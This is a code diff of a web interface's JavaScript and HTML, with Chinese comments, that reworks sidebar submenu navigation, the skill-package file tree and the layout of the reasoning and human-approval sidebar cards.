<td class="cell-fact-key"><code class="projects-fact-key-chip" title="${keyEsc}">${keyEsc}</code>${vulnLink}</td>
<td class="cell-fact-category">${formatCategoryBadge(f.category)}</td>
<td class="cell-summary" title="${escapeHtml(f.summary)}">${escapeHtml(f.summary)}</td>
<td>${formatFactBodyBadge(f)}</td>
<td>${formatConfidenceBadge(f.confidence)}</td>
+1 -19
View File
@@ -105,6 +105,7 @@ function updateNavState(pageId) {
// 移除所有活动状态
document.querySelectorAll('.nav-item').forEach(item => {
item.classList.remove('active');
item.classList.remove('expanded');
});
document.querySelectorAll('.nav-submenu-item').forEach(item => {
@@ -202,16 +203,6 @@ function getNavSubmenuItems(navItem) {
return Array.from(submenu.querySelectorAll('.nav-submenu-item'));
}
/** 仅一个子页时直接进入,避免展开后菜单在侧栏底部不可见 */
function navigateSingleSubmenuPage(navItem) {
const items = getNavSubmenuItems(navItem);
if (items.length !== 1) return false;
const pageId = items[0].getAttribute('data-page');
if (!pageId) return false;
switchPage(pageId);
return true;
}
// 切换子菜单
function toggleSubmenu(menuId) {
const sidebar = document.getElementById('main-sidebar');
@@ -228,11 +219,6 @@ function toggleSubmenu(menuId) {
return;
}
// 展开侧栏且仅一个子项(角色、Agents 等):单击直接进入,无需再点二级菜单
if (navigateSingleSubmenuPage(navItem)) {
return;
}
// 展开状态下切换子菜单,并滚入视口以便看到子项
const willExpand = !navItem.classList.contains('expanded');
navItem.classList.toggle('expanded');
@@ -261,10 +247,6 @@ function showSubmenuPopup(navItem, menuId) {
}
}
if (navigateSingleSubmenuPage(navItem)) {
return;
}
const navItemContent = navItem.querySelector('.nav-item-content');
const submenu = navItem.querySelector('.nav-submenu');
+16 -5
View File
@@ -468,6 +468,11 @@ function showAddSkillModal() {
modal.style.display = 'flex';
}
function skillPackagePathDepth(path) {
if (!path) return 0;
return (String(path).replace(/\/$/, '').match(/\//g) || []).length;
}
function renderSkillPackageTree() {
const el = document.getElementById('skill-package-tree');
if (!el) return;
@@ -479,13 +484,19 @@ function renderSkillPackageTree() {
}
el.innerHTML = rows.map(f => {
const path = f.path || '';
const indent = 8 + skillPackagePathDepth(path) * 14;
if (f.is_dir) {
return `<div style="padding:4px 6px;opacity:0.85;font-weight:600;">${escapeHtml(path)}/</div>`;
const dirLabel = path.endsWith('/') ? path : path + '/';
return `<div class="skill-tree-row skill-tree-dir" style="padding-left:${indent}px" title="${escapeHtml(_t('skillModal.folderHint'))}">` +
`<span class="skill-tree-icon" aria-hidden="true">📁</span>` +
`<span class="skill-tree-label">${escapeHtml(dirLabel)}</span>` +
`</div>`;
}
const sel = path === skillActivePath
? 'font-weight:600;background:rgba(99,102,241,0.12);'
: '';
return `<div style="padding:4px 6px;cursor:pointer;border-radius:4px;margin-bottom:2px;${sel}" data-skill-tree-path="${escapeHtml(path)}" class="skill-tree-item">${escapeHtml(path)}</div>`;
const selected = path === skillActivePath ? ' is-selected' : '';
return `<div class="skill-tree-row skill-tree-file${selected}" style="padding-left:${indent}px" data-skill-tree-path="${escapeHtml(path)}" title="${escapeHtml(_t('skillModal.clickToEdit'))}">` +
`<span class="skill-tree-icon" aria-hidden="true">📄</span>` +
`<span class="skill-tree-label">${escapeHtml(path)}</span>` +
`</div>`;
}).join('');
el.querySelectorAll('[data-skill-tree-path]').forEach(node => {
node.addEventListener('click', () => {
+18 -7
View File
@@ -831,6 +831,11 @@
<span id="chat-reasoning-summary" class="conversation-reasoning-summary"></span>
</div>
</div>
<span class="sidebar-card-chevron conversation-reasoning-chevron" aria-hidden="true">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M9 18l6-6-6-6" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</span>
</button>
<div id="conversation-reasoning-body" class="conversation-reasoning-body" role="region">
<p class="chat-reasoning-panel-hint" data-i18n="chat.reasoningPanelHint">仅 Eino 请求生效,与系统设置中的默认值合并。</p>
@@ -859,7 +864,7 @@
</div>
</div>
<div class="hitl-sidebar-card hitl-sidebar-collapsed" id="hitl-sidebar-card">
<div class="hitl-sidebar-card-header" onclick="toggleHitlSidebarCard()">
<div class="hitl-sidebar-card-header" id="hitl-sidebar-toggle" role="button" tabindex="0" aria-expanded="false" aria-controls="hitl-sidebar-body" onclick="toggleHitlSidebarCard()" onkeydown="if (event.key === 'Enter' || event.key === ' ') { event.preventDefault(); toggleHitlSidebarCard(); }">
<div class="hitl-sidebar-heading">
<span class="hitl-sidebar-icon" aria-hidden="true">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
@@ -872,11 +877,11 @@
<span class="hitl-sidebar-subtitle" data-i18n="chat.hitlCardSubtitle">审批与白名单</span>
</div>
</div>
<div class="hitl-sidebar-header-actions">
<button type="button" class="hitl-apply-btn" id="hitl-apply-btn" onclick="event.stopPropagation(); window.applyHitlSidebarConfig && window.applyHitlSidebarConfig()">
<span data-i18n="chat.hitlApply">应用</span>
</button>
</div>
<span class="sidebar-card-chevron hitl-sidebar-chevron" aria-hidden="true">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M9 18l6-6-6-6" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</span>
</div>
<div class="hitl-sidebar-body" id="hitl-sidebar-body">
<div id="hitl-apply-feedback" class="hitl-apply-feedback" role="status" aria-live="polite"></div>
@@ -894,6 +899,11 @@
<textarea id="hitl-sensitive-tools" class="hitl-config-textarea" rows="3" spellcheck="false" autocomplete="off" data-i18n="chat.hitlWhitelistPlaceholder" data-i18n-attr="placeholder" placeholder=""></textarea>
<p class="hitl-config-hint" data-i18n="chat.hitlWhitelistHint">每行一个或逗号分隔;与 config 中全局白名单合并展示。</p>
</div>
<div class="hitl-config-actions">
<button type="button" class="hitl-apply-btn" id="hitl-apply-btn" onclick="window.applyHitlSidebarConfig && window.applyHitlSidebarConfig()">
<span data-i18n="chat.hitlApply">应用</span>
</button>
</div>
</div>
</div>
</div>
@@ -3545,8 +3555,9 @@
</div>
<div class="form-group" id="skill-package-editor" style="display: none;">
<label data-i18n="skillModal.packageFiles">包内文件(标准 Agent Skills 布局)</label>
<small class="skill-package-tree-hint" data-i18n="skillModal.packageFilesHint">点击文件进行编辑;文件夹仅作分组展示,不可点击</small>
<div style="display: flex; gap: 12px; align-items: flex-start; min-height: 300px;">
<div id="skill-package-tree" style="flex: 0 0 240px; max-height: 440px; overflow: auto; border: 1px solid rgba(127,127,127,0.25); border-radius: 6px; padding: 8px; font-size: 13px; line-height: 1.4;"></div>
<div id="skill-package-tree"></div>
<div style="flex: 1; min-width: 0;">
<div style="margin-bottom: 8px; font-size: 13px;">
<span data-i18n="skillModal.editingFile">正在编辑</span> <code id="skill-active-path">SKILL.md</code>